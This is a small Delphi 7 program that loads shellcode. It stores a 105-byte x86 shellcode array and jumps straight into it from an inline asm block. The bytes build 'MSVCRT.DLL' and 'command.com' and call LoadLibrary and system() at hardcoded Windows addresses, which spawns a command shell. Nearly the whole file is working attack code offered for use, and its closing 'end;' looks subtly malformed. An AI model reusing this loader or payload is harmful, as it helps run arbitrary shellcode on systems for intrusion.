//delphi7

program ShellCodeLoader;

const
ShellCodeSize = $00000069;  //16进制 -  105

ShellCode : Array[0..ShellCodeSize-1] of byte =
(
//cmd shellcode 105 byte
$55,$8B,$EC,$33,$C0,$50,$50,$50,
$C6,$45,$F4,$4D,$C6,$45,$F5,$53,
$C6,$45,$F6,$56,$C6,$45,$F7,$43,
$C6,$45,$F8,$52,$C6,$45,$F9,$54,
$C6,$45,$FA,$2E,$C6,$45,$FB,$44,
$C6,$45,$FC,$4C,$C6,$45,$FD,$4C,
$8D,$45,$F4,$50,$BA,$7B,$1D,$80,
$7C,$FF,$D2,$55,$8B,$EC,$83,$EC,
$2C,$B8,$63,$6F,$6D,$6D,$89,$45,
$F4,$B8,$61,$6E,$64,$2E,$89,$45,
$F8,$B8,$63,$6F,$6D,$22,$89,$45,
$FC,$33,$D2,$88,$55,$FF,$8D,$45,
$F4,$50,$B8,$C7,$93,$BF,$77,$FF,
$D0
);

 begin
asm
lea eax,ShellCode
call eax
end;